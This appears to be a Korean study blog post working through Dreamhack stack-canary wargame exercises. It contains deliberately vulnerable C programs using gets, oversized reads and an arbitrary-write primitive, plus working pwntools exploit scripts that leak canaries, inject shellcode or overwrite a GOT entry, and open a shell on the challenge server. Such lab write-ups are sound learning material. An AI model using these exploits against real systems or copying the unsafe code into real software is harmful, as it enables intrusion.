[함께실습] Stack Canary - Exploit Tech: Return to Shellcode

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
int main() {
  char buf[0x50];
  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);
  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);
  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);
  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);
  return 0;
}

 

분석

▶ 보호기법 탐지

보호기법을 파악할 때 주로 사용하는 툴이 checksec이다. 이를 사용하면 간단한 커맨드 하나로 바이너리에 적용된 보호기법들을 파악할 수 있다.

checksec을 통해 파악할 수 있는 보호기법은 RELRO, Canary, NX, PIE가 있다.

 

▶ 취약점 탐색

1. buf의 주소

printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n", (char*)__builtin_frame_address(0) - buf);

이 예제에서는 실습의 편의를 위해 buf의 주소 및 rbp와 buf 사이의 주소 차이를 알려준다.

 

2. 스택 버퍼 오버플로우

char buf[0x50];
read(0, buf, 0x100);   // 0x50 < 0x100
gets(buf);             // Unsafe function

스택 버퍼인 buf에 총 두번 입력을 받는다. 그런데 두 입력 모두에서 오버플로우가 발생한다. 이 취약점을 이용해 셸을 획득해야 한다.

 

▶ 익스플로잇 시나리오

1. 카나리 우회

read(0, buf, 0x100);                  // Fill buf until it meets canary
printf("Your input is '%s'\n", buf);

두 번째 입력으로 반환 주소를 덮을 수 있지만, 카나리가 조작되면 __stack_chk_fail 함수에 의해 프로그램이 강제 종료된다. 그러므로 첫 번째 입력에서 카나리를 먼저 구하고, 이를 두 번째 입력에 사용해야 한다.

첫 번째 입력의 바로 뒤에서 buf를 문자열로 출력해주기 때문에, buf에 적절한 오버플로우를 발생시키면 카나리 값을 구할 수 있을 것이다.

 

2. 셸 획득

카나리를 구했으면, 두 번째 입력으로 반환 주소를 덮을 수 있다. 그런데 이 바이너리에는 셸을 획득해주는 get_shell() 같은 함수가 없다. 따라서 셸을 획득하는 코드를 직접 주입하고, 해당 주소로 실행 흐름을 옮겨야 한다. 주소를 알고 있는 buf에 셸코드를 주입하고, 해당 주소로 실행 흐름을 옮기면 셸을 획득할 수 있을 것이다.

 

익스플로잇

▶ 스택 프레임 정보 수집

스택을 이용하여 공격할 것이므로, 스택 프레임의 구조를 먼저 파악해야 한다. 이 예제에서는 스택 프레임에서의 buf 위치를 보여주므로, 이를 적절히 파싱할 수만 있으면 된다.

process, recv, recvuntil, recvn, recvline 등의 함수를 사용해서 구현할 수 있다. 

from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))
p = process("./r2s")
context.arch = "amd64"
# [1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)
slog("Address of buf", buf)
p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)

로컬 바이너리 'r2s'를 대상으로 익스플로잇을 수행하고 x86-64 아키텍처로 지정하였다.

p.recvuntil을 이용해 buf: 뒤부터 입력받도록하며 buf는 16진수로 받아 int로 저장한다.

그리고 Address of buf : buf값의 형태로 출력하도록 한다.

또, p.recvuntil을 이용해 $rbp: 뒤부터 입력받도록 하며 buf2sfp에 p.recvline을 이용해 \n까지 받은 뒤 다음줄로 이동한다.  그리고 buf2sfp에서 8뺀 값을 buf2cnry에 저장해주고 이 둘을 출력한다.

 

이 코드를 실행했더니 다음과 같이 나왔다.

 

▶ 카나리 릭

스택 프레임에 대한 정보를 수집했으므로, 이를 활용하여 카나리를 구해야한다. buf와 카나리 사이를 임의의 값으로 채우면, 프로그램에서 buf를 출력할 때 카나리가 같이 출력될 것이다. 앞에서 구한 스택 프레임의 구조를 고려하여, 카나리를 구하도록 스크립트를 추가해보자.

# [2] Leak canary value
payload = b"A"*(buf2cnry + 1)  # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7))
slog("Canary", cnry)

buf2cnry + 1만큼의 "A"를 payload에 저장하고 sendafter을 이용해 Input: 가 출력되면 payload를 입력받도록 한다. p.recvuntil로 payload가 출력될 때까지 받는다. p.recv을 이용해 7바이트의 데이터를 입력받아 \x00과 더해주고 이를 출력한다.

 

▶ 익스플로잇

카나리를 구했으므로, 이제 buf에 셸코드를 주입하고, 카나리를 구한 값으로 덮은 뒤, 반환 주소(RET)를 buf로 덮으면 셸코드가 실행되게할 수 있다. context.arch, shellcraft, asm을 이용하면 스크립트를 쉽게 추가할 수 있다. 

# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A") + p64(cnry) + b"B"*0x8 + p64(buf)
# gets() receives input until "\n" is received
p.sendlineafter("Input:", payload)
p.interactive()

sh에 셸 코드를 기계어로 어셈블해준다.

payload에 셸코드 뒤 b"A"를 buf2cnry개를 적고, cnry, b"B" 0x8개, buf를 저장해준다.

p.sendlineafter을 이용해 Input: 뒤에 payload와 \n을 입력해주고 p.interactive로 출력을 확인한다.

 

결과는 다음과 같다.

이 코드에서 p = remote("host1.dreamhack.games",14211)만 추가해주고 cat flag를 해주었더니 flag가 나왔다.

 

[혼자실습] Stack Canary

ssp_000

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr;
    long value;
    char buf[0x40] = {};

    initialize();


    read(0, buf, 0x80);

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;

    return 0;
}

main함수를 살펴보자.

addr, value라는 변수와 buf라는 0x40 크기의 배열이 있다.  initialize 함수를 호출하고 있으며 addr과 value를 입력받고 있다. value 값을 addr 포인터에 저장해준다. 여기서 유의할 점은 buf는 0x40의 크기를 가지고 있지만 0x80 크기의 buf를 읽기 때문에 버퍼 오버플로우가 생길 가능성이 있다는 점이다.

 

다음은 main을 디스어셈블한 결과이다.

마지막 부분을 보면 xor 과정을 통해 카나리 값이 바뀌면  __stack_chk_fail 함수가 호출된다는 것을 알 수 있다. 

 

from pwn import *

p = remote("host1.dreamhack.games", 18857)
elf=ELF("./ssp_000")

p.send('A'*0x50)
p.sendlineafter("Addr : ", str(elf.got['__stack_chk_fail'])) 
p.sendlineafter("Value : ", str(elf.symbols['get_shell'])) 
p.interactive()
ELF (Executable and Linking Format)
: 실행 가능한 바이너리, 오브젝트 파일의 형식을 규정한 파일
- PLT : 외부 프로시저를 연결해주는 테이블
- GOT : PLT가 참조하는 테이블, 프로시저들의 주소가 들어있음, PLT가 어떤 외부 프로시저를 호출할 때 GOT를 참조하여 해당 주소로 점프함

ELF를 통해 파일을 열고 A를 0x50만큼 보내 오버플로우를 발생시키도록 하였다. 이 과정을 통해 카나리 값이 바뀌고 __stack_chk_fail 함수가 호출된다. __stack_chk_fail에 got를 주고 get_shell 주소를 주어 종료되면 get_shell이 실행되어 셸을 구할 수 있다.

 

 

ssp_001

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

F의 경우, box를 읽어들인다.

P의 경우, idx를 입력받고 print_box함수를 호출한다. 이 함수에서 idx가 box의 크기보다 클 경우 canary leak이 가능하다.

E의 경우, name_len을 입력받고 name을 그만큼 읽어들인다. name은 0x40크기로 정해져 있으므로 오버플로우의 가능성이 있다.

 

main을 디스어셈블한 결과이다.

 

main+179(read)에 break를 걸어주고 esp를 확인해본 결과 다음과 같다.

box가 0xffffd074부터 들어갔으므로 0xffffd080

 

main+308 (read)에 break를 걸어주고 Name Size에 8, Name에 AAAAAAAA를 넣어준 결과이다.

 

idx가 128, 129, 130, 131일 때 다음과 같다.

 

from pwn import *
p = remote("host1.dreamhack.games", 10724)
elf=ELF("./ssp_001")
get_shell=elf.symbols['get_shell']

canary=b""

for i in range(4, 0, -1):
	p.sendlineafter("> ", "P")
	p.sendlineafter("index : ", str(127+i))
	p.recvuntil(": ")
	canary += p.recvuntil(b"\n")[0:2]
	
canary=int(canary,16)

p.sendlineafter("> ", "E")
pay = b"A"*64 + p32(canary) + b"A"*8 + p32(get_shell)
p.sendlineafter("Size : ", str(len(pay)))
p.sendlineafter("Name : ", pay)

p.interactive()

print_box에서 idx 값을 128~131로 주어 카나리 값을 구하였다.

pay에 name에 해당하는 b"A"*64, canary에 해당하는 p32(canary), sfp와 edi에 해당하는 b"A"*8, ret에 해당하는 p32(get_shell)을 넣어주었다.

 

+ Recent posts